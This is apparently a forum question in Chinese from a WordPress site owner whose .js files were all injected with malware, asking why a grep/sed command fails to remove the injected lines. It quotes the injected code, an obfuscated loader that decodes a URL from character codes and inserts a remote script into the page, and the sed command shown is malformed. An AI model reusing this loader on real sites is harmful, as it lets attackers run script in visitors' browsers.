最近，我注意到我所有的WP网站都在所有.js文件内部注入了恶意软件。我已经找到问题并进行修补，但是无法从文件中删除恶意软件行。我尝试了以下命令：

grep -rl "var gdjfgjfgj235f = 1; var d=document;var
s=d.createElement('script'); s.type='text\/javascript'; s.async=true;
var pl =
String.fromCharCode(104,116,112,115,58,47,99,114,105,46,97,110,108,101,109,121,111,100,107,106,63,61,38,117,98,48,54,48);
s.src=pl; if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s,document.currentScript); } else {
d.getElementsByTagName('head')[0].appendChild(s);}\/" \
| xargs sed -i "var gdjfgjfgj235f = 1; var d=document;var
s=d.createElement('script'); s.type='text\/javascript'; s.async=true;
var pl =
String.fromCharCode(104,48);
s.src=pl;if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s,document.currentScript); } else
{d.getElementsByTagName('head')[0].appendChild(s);}\/"

原始恶意代码为：

var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script');
s.type='text/javascript'; s.async=true; var pl =
String.fromCharCode(104,48);
s.src=pl;  if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s,document.currentScript); } else {
d.getElementsByTagName('head')[0].appendChild(s); }/
